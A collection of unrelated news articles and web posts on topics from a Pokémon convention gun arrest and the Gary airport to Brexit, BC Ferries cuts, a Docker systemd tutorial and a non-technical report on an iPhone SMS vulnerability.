friends that I’ve made throughout the years,” he said in an online exchange with the Globe. “It’s one of the friendliest environments you could ever ask for.”  Justin Lo, 23, knew the accused men from Iowa’s competitive Pokémon circuit. Lo traveled with them across the Midwest to compete in Pokémon tournaments over the past four years, he said.  “I would never think of these two as plotters of any kind of violence,” Lo said in a Globe interview. “They were good to everybody who came up to talk to them. They were very smart, very good Pokémon players.” He remembered them as goofy, funny friends who loved the Pokémon community, he said. Neither ever mentioned guns and violence in Lo’s presence.  But Lo, an Iowa State University student, said he noticed a change over the past two years. Stumbo and Norton became much closer, and Norton’s online persona dramatically shifted. Back when Lo and Norton became Facebook friends, Norton’s Facebook picture was of himself, smiling into the camera. Today, it’s a picture of Norton aiming a handgun, Lo said.  Fitzgerald, who commands the Boston Police Department’s Bureau of Intelligence and Analysis, said at a Monday news conference that a moderator in a private online forum about Pokémon noted the threatening postings. Officials with Pokémon International, which oversees the trading card and game brand, notified the Hynes Convention Center, and officials there told police.  Hynes security officials stopped Stumbo from entering the convention center Thursday evening and notified police, according to police reports. While officers were escorting Stumbo from the building, they found Norton as he arrived.  Norton told officers he had a shotgun and Stumbo’s rifle in his car, which was parked in a public garage, the report says. Neither man could produce a firearm license, according to authorities.  Police executed a search warrant on the car and found the weapons Friday, and the next day arrested Norton and Stumbo at the Red Roof Inn in Saugus, police said. Evans said police let the men go back to their hotel Thursday feeling confident that the public was in no danger. Police declined to say if they had kept the men under surveillance in the meantime. Norton and Stumbo were banned from the Pokémon event following the alleged threats, officials said.  Under Iowa law, it would be legal for residents to obtain an AR-15 rifle or a 12-gauge shotgun, assuming neither gun was modified or “sawed off,” said Ross Loder, a bureau chief for the Iowa Department of Public Safety.  Iowa does require a permit to acquire pistols and handguns, he said.  Stumbo’s attorney, Steven Goldwyn of Cambridge, sought to shift responsibility to Norton. “There is no probable cause for arrest,” Goldwyn said in court. “My client was not found in possession of the firearms or ammunition and the car belongs to Mr. Norton.”  Norton’s lawyer asked the judge for leniency, contending that his client has “been fully cooperative.”  Andy Rosen of the Globe staff, and Globe correspondents Virgie Hoban and Jacqueline Tempera contributed to this report. Mark Arsenault can be reached at mark.arsenault@globe.com . Follow him on Twitter @BostonGlobeMark . Astead W. Herndon can be reached at astead.herndon@globe.com . Follow him on Twitter @AsteadWH
-A Canadian man who is being sued by his estranged mother for financial support is trying to have the case thrown out.  Ken Anderson, 47, says his parents left him when he was a teenager in the western province of British Columbia, according to Canadian media reports.  Shirley Anderson, who is in her 70s, sued him in 2000 under a rarely used provincial law that entitles parents to maintenance from offspring.  British Columbia's Supreme Court has reserved judgment.  Ms Anderson has been seeking C$750 (£480) a month each from her son and two of his siblings.  Mr Anderson says he was left behind at 15 when his parents and younger brother moved from the British Columbian town of Osoyoos to the province's Kootenays region.  "We don't have a relationship. I haven't talked to her in years and years and years," Mr Anderson told the Canadian Broadcasting Corporation.  His lawyer, Stanley Schwartz, asked a judge to throw out the case because he said Ms Anderson had not submitted financial documents ordered by the court.  The case was brought under a section of British Columbia's Family Relations Act, which says parents "dependent on a child because of age, illness, infirmity or economic circumstances" are entitled to support from their adult offspring.  In 2007, legal professionals recommended that this section of the statute be repealed.
-statigr.am/kimbo_ks13 A study by three scientists in the American Political Science Review finds that voters are not competent at accurately evaluating incumbent performance and are easily swayed by rhetoric, unrelated circumstances and recent events.  Gregory Huber, Seth Hill, and Gabriel Lenz constructed a 32-round game where players received payments from a computer "allocator." The goal is to maximize the value of those payments.  Halfway through, at round sixteen, the player had to decide whether to get a new allocator or to stick with the old one.  The allocators pay out over a normal distribution based on a randomly selected mean. Getting a new allocator means that a new mean is selected. This was meant to simulate an election based on performance.  The group ran three experiments where they changed some of the rules of the game in order to find out how voters could be manipulated or confused over performance. Essentially, how good were voters at accurately analyzing the performance of the "allocator?"  The first experiment merely alerted the player at round twelve that they would have the chance to pick a new allocator at round sixteen. This "election in November" reminder made the player weight recent performance in rounds 12-16 over earlier performance in rounds 1-12.
-In the first study to pinpoint the cause of narcolepsy in humans, UCLA/VA researchers report in the September issue of the peer-reviewed journal Neuron that the dramatic, degenerative loss of a specific type of brain cell triggers the debilitating sleep disorder.  Hcrt cells, or neurons containing the neuropeptide hypocretin, are located exclusively in the brain's hypothalamus. Hypocretin sends messages to numerous regions throughout the central nervous system, including the major mass of cells that regulates sleep.  The researchers found that the number of Hcrt neurons in narcoleptics was 85 percent to 95 percent less than the number found in non-narcoleptic brains.  Other types of neurons that intermix with Hcrt cells in normal brains were not reduced in number in the narcoleptic brain, indicating that cell loss was confined to Hcrt neurons. In addition, the presence of gliosis, or neural scarring, in the hypocretin cell region indicates a degenerative process.  The discovery suggests that the replacement of missing hypocretin neuropeptides produced by Hcrt cells may reverse some of the symptoms of the incurable disease.  "The findings end a 120-year search for the cause of narcolepsy and open new paths for treating this incurable disease," said Dr. Jerome M. Siegel, professor of psychiatry and biobehavioral sciences at UCLA, chief of neurobiology research for the Greater Los Angeles Veterans Affairs Healthcare System, and senior author of the study. "While it is clear that the degenerative loss of Hcrt cells is directly linked to narcolepsy, the cause of this cell loss remains to be determined. An autoimmune attack on Hcrt neurons or a sensitivity of the cells to specific environmental or biological toxins are possibilities."  Narcolepsy affects approximately 1 in 2,000 individuals (about 125,000 in the United States) and usually develops in young adults in their 20s and 30s, progressing over a period of one or two years and then stabilizing.  The disease causes overwhelming sleepiness and cataplexy, a loss of muscle tone triggered by sudden strong emotions such as laughter and impulsive anger. Most narcoleptic patients experience sleepiness rather than cataplexy.  Narcoleptics go through life feeling the way most individuals would feel after staying awake for 48 hours. They awake refreshed from naps but soon feel sleepy again. Their nighttime sleep is fragmented, with fewer of the deeper stages of sleep.  -UCLA-  DP396
-It may only be Denver’s second Breakfast Burrito Day (thank you, Mayor Hancock!), but we’re already loving the spicy day. (Okay, so he hasn’t made any proclamations this year, but we’re just going with it.)  To celebrate the “food holiday”, Illegal Pete’s is giving away a FREE breakfast burrito on Saturday, October 13 from 9 a.m. to 1 p.m. — no purchase or coupon necessary.  Choose from meat and vegetarian options. Limit one per person. You must be present, so no picking up any for friends or family.  A breakfast burrito usually sells for $4.49, so it’s definitely the perfect way for hungry bargain hunters to wake up on a Saturday mornin’.  All of its locations are participating, except for 1124 13th St. in Boulder:  Boulder – 1447 Pearl St.  Denver – 1744 E. Evans Ave.  Denver – 2001 E. Colfax Ave.  Denver – 270 S. Broadway  Denver – 1851 W. 38th Ave.  Denver – 1530 16th St. #101  Ft. Collins – 320 Walnut St.  Greenwood Village – 5312 DTC Blvd. #400  Hungry for more food deals? Never miss another. Sign up for our FREE daily e-newsletter. Please enter all required fields Correct invalid entries  Hungry For More Food Deals?  Tuesday, February 26, 2019  Wednesday, February 27, 2019  Thursday, February 28, 2019  Friday, March 1, 2019  Saturday, March 2, 2019  Sunday, March 3, 2019  Monday, March 4, 2019
-The National Coalition Against Censorship (NCAC) is raising serious concerns about a nominee for the North Carolina Board of Education, who once supported an effort to remove a book from a local district’s high school.  In April, Governor Pat McCrory nominated J. Todd Chasteen for a seat on the state Board of Education. Some critics have pointed out that Chasteen — who is a vice president and the chief legal officer at the Christian missionary group Samaritan's Purse – has no experience in public education.  In a June 3 letter to North Carolina lawmakers, NCAC expressed particular concern over Chasteen's role in the 2013 effort to remove Isabel Allende's acclaimed novel The House of the Spirits from the high school honors English curriculum in Watauga County schools.  Although he has no children in the district's public school system, Chasteen aligned himself with pro-censorship advocates. He called The House of the Spirits a "sex book" with "59 sexual references," and claimed that "dysfunctional sexuality" is "the main theme of the book."  Throughout this affair, Mr. Chasteen displayed little or no appreciation for the constitutional obligations of public school officials, who are prohibited from removing educational material because some object to or disapprove of its content. And by rejecting district policy to accommodate differing views by providing student an alternative text, Chasteen endorsed a view that would have public school educators privilege the views of some parents over others.  While Chasteen certainly has a First Amendment right to voice his opinions, the NCAC argues that his disregard for First Amendment principles and principles of academic freedom, and his willingness to impose his worldview upon students throughout the public school system, are incompatible with the Board's mission of preparing students for further education, work, and global citizenship.  As the NCAC letter states, "In short, Mr. Chasteen's appointment to the Board would undermine its credibility as a guarantor of a robust, well-rounded education for all of the state's public school students."  Read the full letter below, or in full screen view.  [scribd id=267663264 key=key-DWTHaOzJx2DkoSsfJI6B mode=scroll]
-Turkish Prime Minister Recep Tayyip Erdogan returned from an overseas trip today, greeted by a rally organized at the airport by the ruling party while the rest of the country saw anti-government protests continue, and demands for Erdogan’s resignation grow.  It wouldn’t seem like staying the course is even an option at this point, but Erdogan insisted that was the plan, promising to go through with his plan to demolish an Istanbul park despite it having sparked what is now being called the “Turkish Summer.”  Instead of hinting at any sort of deal to end the demonstrations, Erdogan immediately delivered a speech angrily condemning the protesters as “terrorists,” and insisting that what had started as a minor “environmental” protest was now full of crazed terror groups determined to “burn and destroy.”  The protests have now stretched nearly a week, with over 4,000 demonstrators wounded in police crackdowns, three killed and a huge number of others disappeared on various pretexts, from participating in rallies to criticizing police on Twitter.  Last 5 posts by Jason Ditz
-In spite of an annual operating budget of more than $3 million -- plus tens of millions more being spent on a runway expansion and other capital projects -- the GCIA terminal sits mostly empty. And you pay for it. (Published Friday, Oct. 26, 2012)  Just north of the Indiana Toll Road, off Cline Avenue, sits the Gary/Chicago International Airport.  Its name sounds substantial. Its annual budget is in the millions of dollars. And Chicagoans -- along with citizens of Gary -- spend millions in tax dollars every year to help keep it in business.  But in spite of an annual operating budget of more than $3 million -- plus tens of millions more being spent on a runway expansion and other capital projects -- the GCIA terminal sits mostly empty. The front entrance is usually locked; the parking lot is nearly vacant, and the skies are -- for the most part -- empty.  That’s because GCIA has only one passenger flight -- Allegiant Airlines Flight 650. It flies nonstop from Sanford, Fla., to Gary, where passengers unload and new passengers board. Allegiant changes the flight number to 651, and the plane takes off and heads back to Sanford.  It’s time on the ground in Gary: Usually less than one hour.  Once the flight is gone, the terminal is shut down and locked up for several days. The Allegiant flight only comes to Gary twice a week, on Thursdays and Sundays. That’s it.  It’s one of the many curiosities of The Little Airport that Could.  While the airport gets substantial funding from the City of Gary, the State of Indiana and the federal government, it gets additional millions of dollars every year from the City of Chicago -- more than $3.6 million dollars since the beginning of 2011 alone, financial documents reveal. Since 1995, Chicago has sent a total of more than $26 million to help operate the Gary airport.  It all comes from an agreement signed by the cities of Chicago and Gary in 1995, which proposed "the development, enhancement, and operation of existing airports and development of any new Regional Airport serving the Bi-State Region."  The agreement is commonly referred to as "The Compact," and the two mayors who signed it -- Richard M. Daley of Chicago and Thomas Barnes of Gary -- originally saw it as a fairly straightforward three-year deal. But it continued, and throughout the years it has often been used as a pawn in the political fights for a third airport in Chicago to counter the proposals to build such an airport in Chicago’s 10th Ward, or -- more recently -- in far-south-suburban Peotone.  "The Compact" was also floated as a possible solution to the closing of Meigs, even before Daley ordered his bulldozers out to dig up Meigs’ runways in the middle of the night in March of 2003.  Now -- seventeen years later -- "The Compact" still exists, and the money still flows in from Chicago.  Part of "The Compact" requires Chicago to send monthly checks to the Gary Airport from ticket fees paid by passengers arriving and departing at O’Hare and Midway Airports. Those fees alone amounted to $2.4 million paid to Gary in the past year and a half. This "Passenger Facility Charge" -- or PFC money -- is earmarked for capital projects like Gary’s 1900-foot runway extension, currently under construction, and the relocation of railroad tracks, which must be moved to provide sufficient clearance for larger planes to land on the newly-extended runway.  But on top of the passenger fees, Chicago taxpayers also send money to GCIA, every year, to help with the daily operation of the airport. In the past year and a half, that’s amounted to more than $1.1 million from Chicago taxpayers, over and above the $2.4 million from the ticket fees.  And Gary taxpayers pay millions more, each year, as well.  To date, there hasn’t been much to show for all that money. GCIA has seen commercial service come and go in past years -- notably PanAm, Southeast, and Hooters Air. There have been long periods where no passenger planes landed there. Even Allegiant, with its one flight twice a week, is technically not a commercial flight, but a travel service which operates charter flights to smaller-traffic airports. It just started flying in to Gary last February.  The flight itself appears to be a success, with low-cost tickets and easy online booking that regularly attracts a full load of passengers. But the question remains: Is all this tax money worth it, for just two passenger flights a week?  Karen Freeman-Wilson is Gary’s newly-elected, Harvard-educated mayor, and she has often cited GCIA as one of her top priorities for Gary’s struggling future. She is happy to see the nearly-full passenger loads on the Allegiant flight.  "I think it’s indicative of the demand that is pent up for the Gary airport," she said.  But she acknowledges that -- to date at least -- far less business has been generated than the money that is pumped in.  "I think a lot has to do with the marketing effort," she said. "I think it’s important to be able to market Gary as a destination -- to market its proximity not just to Chicago but to downtown Chicago."  And once the runway expansion is complete, Freeman-Wilson sees things taking off.  "Ultimately I think there’s an opportunity for commercial and cargo service here," she said.  But the runway expansion has been a difficult and expensive process, primarily because of unforeseen difficulties in moving the railroad tracks, as well as dealing with construction waste and even oil dumped in the runway’s path.  In an effort to see what happens during a typical day at the terminal, NBC Chicago went to the Gary/Chicago International Airport on a Wednesday. There was not an Allegiant flight scheduled for that day, but the thought was that maybe the terminal would be open for other operations.  That was not the case. The front doors were locked and the place was deserted.  So NBC Chicago returned, unannounced, at noon on a Thursday, when Allegiant does fly in. This time the front door was unlocked, but inside the airport was still virtually empty, with the lights turned off, the ticket counter dark and the baggage carousel silent and still.  A plaque on the wall noted that the terminal was renovated a decade ago. It still looks good as new.  The only people there were a security guard and approximately 15 TSA agents. Their supervisor said they are routinely borrowed from other airports -- South Bend and Chicago -- to come to GCIA twice a week to handle the Allegiant flight.  Finally, about an hour and a half before Allegiant’s scheduled arrival, the airport suddenly sprung to life. Crowds of couples and families snaked along the previously-deserted rope lines in front of the ticket counter. Others removed their shoes and loaded up grey plastic bins to go through security. And when the Allegiant flight arrived at about 2:50 p.m., more passengers streamed out into the terminal and outside to waiting cars. The terminal was truly bustling.  But after another hour, the approximately 140 passengers booked for Sanford were boarded, and the plane took off, not to return for three days.  Then the TSA agents packed up. The ticket counter closed down. And it was lights out until Sunday.  Statement from Chicago's Department of Aviation:  The City of Chicago continues to support the Compact as Gary Airport serves as a reliever airport in the regional Chicago airport system. The City recognizes that these are times of tight budgets and has reduced the annual contribution to the Chicago Gary Regional Airport Authority.  Takeoffs/Landings for area airports from Jan. 1 - Aug. 1, 2012:  Unit 5 looked at the daily air traffic -- including every takeoff and landing of passenger, private, and corporate aircraft -- at Gary/Chicago International Airport, and compared its traffic to that at other comparable airports in the Chicago/Northwest Indiana area. In our survey of various time periods covering 2012, we found that Gary (GYY) had less daily traffic than Waukegan Regional Airport (UGN), Dupage Airport in West Chicago (DPA), Chicago Executive Airport in Wheeling (PWK), and Chicago Rockford Airport in Rockford (RFD).  In this chart, every takeoff or landing is counted separately. For example, if a plane lands at an airport, and then takes off two hours later, it would count twice on this chart.  One significant exception was August 2012, when GCIA served as the staging area for aircraft used in the Chicago Air and Water Show.
-Use Docker containers on the fly is quite easy but sometimes container management by shell becomes difficult. For easily launch and restart your container, we can use a Systemd unit.  Create Unit file  In this example, I use a REDIS image that run with docker.  We need to create the file /etc/systemd/system/redis.service :  [Unit] Description=Redis Service After=docker.service Requires=docker.service [Service] ExecStartPre=-/usr/bin/docker kill redis ExecStartPre=-/usr/bin/docker rm redis ExecStartPre=-/usr/bin/docker pull redis:latest ExecStart=/usr/bin/docker run -d --name redis --restart always redis:latest ExecStop=/usr/bin/docker stop redis [Install] WantedBy=multi-user.target  This file will wait until the docker service is running then delete old redis container, pull last redis image and finally launch our container.  Let's enable redis.service and launch it :  systemctl enable redis systemctl daemon-reload systemctl start redis  Verify our container  After the systemctl start you can check your running container with docker ps :  Using with docker-compose  You can use a Systemd unit file for Docker-compose too like this :  ExecStartPre=-/usr/local/bin/docker-compose -f compose-file.yml down ExecStart=/usr/local/bin/docker-compose -f compose-file.yml up -d ExecStop=/usr/local/bin/docker-compose -f compose-file.yml stop  With this, you can start your stack of containers using Systemd.
-Cybersecurity researcher Charlie Miller and his fellow researcher Collin Mulliner plan to present research on a huge iPhone security hole Thursday at the Black Hat cybersecurity conference in Las Vegas. Not an iPhone virus, but rather an SMS hack, the issue can allow a hacker complete control over an iPhone.  According to the researchers, they will demonstrate how to send a series of mostly invisible SMS "bursts" that can give a hacker complete control of the iPhone. That control will include dialing the phone, visiting Web sites, turning on the device's camera and microphone, and more. The hacker will also be able to send more text messages to facilitate spreading the iPhone SMS hack to other iPhones.  To an end user, the evidence that someone is trying to use the iPhone's SMS hack on your device will be a text message on your iPhone containing only a single square character. The only way to avoid being hacked would be to quickly turn off the device. In terms of the amount of control, this hack sounds, quite honestly, very similar to how certain Trojans can turn a PC into a bot, and similarly control it remotely.  Charlie Miller told Forbes:  "This is serious. The only thing you can do to prevent it is turn off your phone. Someone could pretty quickly take over every iPhone in the world with this."  That's a bit of hyperbole, as first a hacker would have to know the appropriate phone numbers to use to hack an iPhone (and there are plenty of phone numbers assigned to other devices). It is obviously very serious, and despite the researchers sharing their results with Apple over a month ago, there has been no movement on a fix as of yet.  Interestingly, the researchers also found a similar "remote control" texting bug in Windows Mobile, and other bugs in Android and the iPhone that can let hackers boot the phones off the network. The Android bug has been closed, but the second iPhone bug has not.  Miller and Mulliner also found a hole in the iPhone's Safari browser way back in 2007 when it was first launched.
-Mauricio Pochettino would be interested in bringing Gareth Bale back to Tottenham Mauricio Pochettino would be interested in bringing Gareth Bale back to Tottenham  Tottenham boss Mauricio Pochettino says he would be interested in bringing Gareth Bale back to White Hart Lane from Real Madrid.  The Football Leaks website have published what they claim is a document that shows Tottenham have the first option to buy Bale back from Real if another Premier League club tries to sign him.  That would mean that if another Premier League club puts in an offer for Bale before June 30, 2019, Spurs have 72 hours to match the offer - and if they do, Real have to sell him back to Spurs.  "I think if we have the option to sign him - why not?" said Pochettino. "He's a great player and a player that can improve our squad."  The document also claims Bale's 2013 move from Tottenham to Real was a world-record transfer, something consistently denied by the Spanish club.  Tottenham are reported to have first option on their former player Gareth Bale  Real insist the deal for Bale was not as big as the one that took Cristiano Ronaldo to the Bernabeu from Manchester United in 2009.  The 10-time European champions say the fee for Bale was £70.38m - more than £3m short of Ronaldo's transfer fee.  However, the Football Leaks document shows that Real paid £77.45m, for Bale with the money paid in installments rather than in one 'up-front' payment.  It is also claimed Real promised Bale would not make any negative comments about Spurs or club chairman Daniel Levy.
-Apple has released iOS 10 beta 6 for developers to test on iPhone, iPad, and iPod touch. iOS 10 brings a refreshed look to Apple Music and News plus loads of new features to the platform. The software update will be ready for everyone likely sometime next month, and we’ll dig through the sixth developer version of the iOS 10 beta below.  If you’re already testing iOS 10 beta on your iPhone or iPad, head to the Software Update section of the Settings app to find the OTA update. If you’re a registered developer deciding to start testing iOS 10 with beta 6, head over to the Apple’s developer page to install the beta profile. For non-developers, Apple is currently testing iOS 10 through the public beta program which usually receives updates a couple of days after developers (or sooner as we near final release). iOS 10 public beta 5 is also available for non-developer testers.  iOS 10 includes loads of new features and changes including redesigned Music and News apps, the first Home app for HomeKit, a redesigned Lock screen and Home screen experience for widgets, tons of iMessage features in Messages, and much more.  iOS 10 beta 5, which was released on August 9, included minor tweaks including a new lock sound, AirPlay icon, widget UI tweaks, and a new Home app wallpaper. Check out our hands-on video of those changes below:  Apple is rumored to be planning a September 7 event to debut the iPhone 7 ahead of pre-orders on September 9 and launch on September 16. New versions of iOS typically roll out a couple of days before new iPhones so we could see iOS 10 publicly launch as soon as September 14.  Catch up on our full coverage with our iOS 10 guide. We’ll dig through the latest iOS 10 beta and update with notable changes. As always, shout in the comments, mention us on @9to5mac, or email tips@9to5mac.com with changes you discover as well.  Here’s the update:
-Technically the following wheelchair ramps are a success, in that they bridge the gap between two levels by way of an inclined surface. The problem though, lies in the fact they’re incredibly difficult and/or somehow infuriating to use for the average wheelchair user – if not impossible – and could actually even cause more problems than they solve. It’s good to see ramps appearing around the world in an effort to make certain areas accessible to wheelchair users, but a little common sense and an ounce of forward-thinking would help to make their experience a lot more agreeable.  Image Source  Above: Most wheelchair users would be unable to ascend the ramp in Mexico, and for someone with assistance the three steps would be a much easier route to take.  Image Source  Above: A nasty surprise is in store for any wheelchair-bound person attempting to use this ridiculous, incredibly dangerous ramp in Auckland.  Image Source  Above: Infuriating rather than dangerous, this ramp in Vancouver manages to stretch a very modest ascent over a relatively mammoth, twist-laden journey.  Image Source  Above: To ascend such a ramp must be nigh on impossible for those of average strength. To descend would be amazingly risky.  Image Source  Above: Surely another impossible ramp to navigate for any normal person.  Image Source  Above: Quite possibly the longest, steepest wheelchair ramp on earth.  Image Source  Above: Hideously selfish parking aside, the inclusion of steps at the foot of this wheelchair ramp is baffling to say the least.  Image Source  Above: Sure, some ramp is better than no ramp, but to leave three steps uncovered really does reek of laziness.  Image Source  Above: Another incredibly steep ramp that would surely be impossible to scale without assistance from a person of considerable strength.
-British Prime Minister David Cameron has said Article 50 of the Lisbon Treaty, officially beginning the process for the UK’s departure from the EU, will not be triggered “at this stage.”  He said he had spoken to EU leaders such as German Chancellor Angela Merkel and French President François Hollande about needing time to prepare the next step.  The timing for Brexit was a decision for Britain to make alone, the prime minister insisted.  Before triggering Article 50, further discussions on the UK’s future relationship with the EU are needed, Cameron said. But this seems to contradict Merkel’s stance.  Speaking on Monday (June 27) she said she understands the UK needs time to work out the next step.  However, the German government has said there will be no informal talks between the UK and the EU before the nation officially announces its intention to leave.  ‘It is going to be difficult’  While Cameron said he disagreed with the outcome of Thursday’s (June 23) historic vote, he said his cabinet had agreed that the decision must be accepted, effectively putting the brakes on any discussion over a possible second referendum.  “It is going to be difficult,” he said of the UK’s exit from the bloc, with “challenging new negotiations” ahead. However, he warned that Britain must not turn its back on Europe and the rest of the world.  “It was not the result I wanted, nor the outcome I believe was best for the country I love but there can be no doubt about the result.  “Of course, I don’t take back what I said about the risks. It is going to be difficult. We’ve already seen that there are going to be adjustments within our economy, complex constitutional issues and challenging new negotiation to undertake with Europe.  “But, I am clear and the cabinet agreed this morning, that the decision must be accepted and the process of implementing the decision in the best possible way must now begin,” Cameron told parliament.  He confirmed that all negotiations for Brexit would be carried out by the new prime minister, who is expected to be in place by September 2.  A new EU unit is to be created in Whitehall consisting of members of the cabinet, treasury, foreign office and business departments.  The unit will report to the whole cabinet and objectively explore what the EU’s future relationship with the EU will be, said Cameron. Oversees and regional centres of power are also to be consulted.  Leader of the opposition Jeremy Corbyn agreed with much of what Cameron had to say, but insisted whoever takes charge must ensure the security of pledged EU funding to the UK.  Transcript: David Cameron's statement on the outcome of the EU referendum https://t.co/glmxbUHHbJpic.twitter.com/wov3UOPoj3 — PoliticsHome (@politicshome) June 27, 2016  ‘No immediate changes in circumstance’  In the first session of the House of Commons since the in-out referendum, Cameron sought to reassure UK nationals and citizens of the EU living in Britain that there will be no immediate changes in circumstances, travel and trade.  Following his speech to parliament, the prime minister said he would also do everything possible to persuade the French authorities to keep UK border controls within France.  Economic fears  He also tried to alleviate any economy-related fears the Commons and the British people had raised.  “Britain is ready to confront what the future holds from a position of strength,” he said, stating that the UK has one of strongest, major advanced economies in the world.  UK institutions have enough capital and reserves to cope with worse situations, he added.  Cameron will attend a European Council meeting as planned on Tuesday (June 28).
-The B.C. government has confirmed it plans to reduce BC Ferries service on both minor and major routes, cut seniors' discounts and test slot machines on board one of its main routes.  Transportation Minister Todd Stone announced the cuts and changes on Monday morning.  Sixteen routes will have reduced service on undercapacity runs, such as early mornings and late nights, on weekends and during the non-summer months. (CBC)  "The first phase is service reductions to lower-use round trip sailings on the minor routes, and on the higher-cost northern routes, accounting for $14 million in net savings. These service adjustments will be implemented in April 2014," said Stone in a statement on Monday.  A total of 6,900 sailings per year on 16 minor routes will be affected. Six minor routes will not be affected.  Most of the sailings to be cut were identified as running at roughly 20 per cent capacity or less. These include early morning and weekend sailings, and late night sailings on the weekends, particularly during the non-summer months.  Other changes on the minor routes include combining separate sailing into combined sailings with multiple stops, and introducing a reservation system.  Stone said there would be another round of community consultation this fall before the changes are finalized and rolled out this April. He did not have an estimate of the the number of jobs that might be affected.  Future changes to the major routes are also planned, he said.  "BC Ferries will also implement further changes to the major routes prior to April 2016 to achieve $4.9 million in savings. Minor and northern routes will not be affected by these changes."  The specific details of how any of the major routes will be affected were not announced.  Seniors discounts slashed  Stone said the cuts and changes were made to make BC Ferries more financially sustainable.  "The B.C. coastal ferry service has been wrestling with cost pressures for more than 20 years. We are making tough decisions today to ensure that our coastal ferry service is sustainable for future generations. These changes protect basic service levels and are in keeping with the fiscal realities facing provincial taxpayers."  Seniors will no longer get free trips on BC Ferries from Monday to Thursday, but BC Ferries employees still will.  Stone also announced seniors discounts on the routes will be cut.  "As of April 1, 2014, the current 100 per cent passenger fare discount received by B.C. seniors (65 and older) travelling Monday to Thursday will be reduced to 50 per cent on major and minor routes.  "There will be no change to the current 33 per cent discount offered to seniors on the northern routes. The provincial savings of approximately $6 million per year will be redirected to support general fares."  Officials confirmed that BC Ferries employees are still able to ride the ferries for free, but said they were not aware of how much that cost the ferry service annually.  Slot machines to be tested  Stone also announced BC Ferries may add slot machines to its main routes, starting with a pilot project on sailings between Tsawwassen and Swartz Bay.  Slot machines will added to vessels sailing between Tsawwassen and Swartz Bay as part of a test project by BC Ferries and the B.C. Lottery Corporation. (The Canadian Press)  "The government of B.C. is also considering the introduction of a pilot project to assess the viability of gaming, and is seeking feedback on introducing gaming as a permanent revenue-generating program on major routes between Vancouver Island and the Lower Mainland."  "The pilot project would be implemented on BC Ferries' busiest route between Swartz Bay and Tsawwassen. If successful, gaming revenue would help reduce the pressure on fares with net revenues reinvested into the ferry system to support general fares," he said.  Stone did not estimate how much revenue the government expected to make from the gaming proposal. BCLC will be responsible for running the slot machines, and BC Ferries employees will be trained for the day-to-day operation.  Other changes  Stone also said in the medium-term BC Ferries was considering changes to the reservation system to allow bookings on minor routes and discounts for early bookings, time-of-day pricing, a customer loyalty program.and adding passenger-only service to some routes.  He also announced plans for a $200-million upgrade of the Horseshoe Bay ferry terminal, saying it could affect how the route between West Vancouver and Nanaimo is managed in the future.  The Horseshoe Bay ferry terminal in West Vancouver will undergo an a $200 million upgrade sometime in the future, Minister Todd Stone said Monday.  But there are no plans to close one of the two ferry main terminals in Nanaimo, he said.  Stone said in the long-term, BC Ferries is also looking at converting the fleet to natural gas, using standardized vessels, no frills vessels and cable ferries to reduce operating costs.  He said the government's goal is to limit fare increases to the rate of inflation in the long term.  But he said he did not see the BC Ferries service as an extension of the provincial highway system, as it is often described by many advocates.  Minor and northern routes affected
-Published 14.05.2016 14:59 GMT+3 | Author Andy Potts  Another Gustav Nyquist goal helps Sweden win 3-2 to see off a stubborn Norwegian defence and remain in contention at the top of Group A.  Gustav Nyquist reinforced his status as a goal-scoring thoroughbred at this World Championship, picking up his sixth of the competition to break the deadlock in Sweden's hard-fought battle against Norway.  The 26-year-old has had his critics in Detroit this year, but he is enjoying his second World Championship campaign where he is currently the leading goalscorer. He claimed a typically opportunist tally in the first minute of the middle stanza, snaffling a loose puck in the corner and surging along the goal line before forcing the disk home despite the attentions of Ole-Kristian Tollefsen.  "The goal today was a bit lucky," Nyquist said. "I got a good bounce of the stick and it went in, but it's good for my confidence to be scoring goals."  It was a vital breakthrough for a Swedish offence that could not get into gear for much of a gritty encounter in Moscow. Norway, aware that victory here would bring it level with its Nordic neighbour on eight points, set up cautiously. Its disciplined hockey limited the Tre Kronor's chances in a first period that never really took off, but that same defensive focus meant that Sweden's Jacob Markstrom could enjoy a relatively quiet time between the piping for long periods.  "Maybe it wasn't our best performance," Nyquist added. "It was a tough game and they hung around and made it hard. But it's another three points and that's what we wanted."  Nyquist's goal gave Sweden the edge but did not open the floodgates. Indeed, had Markstrom not found the answer when Morten Ask attempted a repeat of Nyquist's scoring play at the other end, Norway would have tied the game soon afterwards.  "I thought we played pretty well," said Norway's captain Tollefsen. "We had a tough start with a lot of box play but we battled through it and we were pretty good on the penalty kill."  The Swedes' best chances to extend the lead also involved Nyquist: he almost found Alexander Wennberg on the doorstep during a power play and then galloped on to a loose puck on the Norwegian blue line only for Haugen to close the door.  Sweden doubled its lead with a short-handed goal early in the third. Johan Fransson's shot flashed wide but slammed back off the boards for the unmarked Mikael Backlund to gleefully pouch the rebound.  It didn't take long for Norway to make it a one-goal game once again, though. Sweden had barely got back to full strength when Johannes Johannesen's mishit shot was held up by Mathis Olimb on the slot and Mats Rosseli Olsen lifted the puck to the top shelf.  Suddenly the Swedes were in danger of losing further ground on the Czechs and the Russians at the top of Group A but a power play goal in the 52nd minute ensured Norway would have too much to do in the closing stages. Robert Rosen was the scorer, tucking away the rebound after Erik Gustaffson's shot was padded away by Haugen.  Even so, Norway was ready to unleash a real storm in the dying seconds. First Mats Zuccarello came charging over the blue line, but Markstrom produced a glove save to win that duel and send Norway to the bench for a time-out. And the tactical rethink paid off: Jonas Holos shot from the blue line and Andreas Martinsen slammed his stick down on the slot to deflect the puck into the net to leave the Swedes with an an anxious 90 seconds to navigate.  Norway had the puck in the net once more, but Trygg's celebrations were cut short when the officials indicated an infringement earlier in the play as the shots rained in on Markstrom's net.  "We had a lot of shots and opportunities and we couldn't take them, but the same is true of them," Nyquist added. "They almost tied it up at the end and Markstrom made some big saves."  The win lifts Sweden to 11 points, two better than third placed Russia before the host nation's game against Switzerland on Saturday evening.  Sweden is also anticipating new arrivals to its roster in the coming days. Capitals forward Andre Burakovsky is set to arrive in Moscow on Sunday, in time to face-off against his Washington team-mates Alexander Ovehckin, Yevgeni Kuznetsov and Dmitri Orlov when the Tre Kronor play Russia on Tuesday.  Two defencemen are also set to head to the airport soon. Mattias Ekholm, a bronze medallist in Minsk in 2014, is waiting to be formally released by Nashville and should land in Moscow on Monday morning, while Dallas Stars' John Klingberg is still awaiting his medical release.  Back to Overview
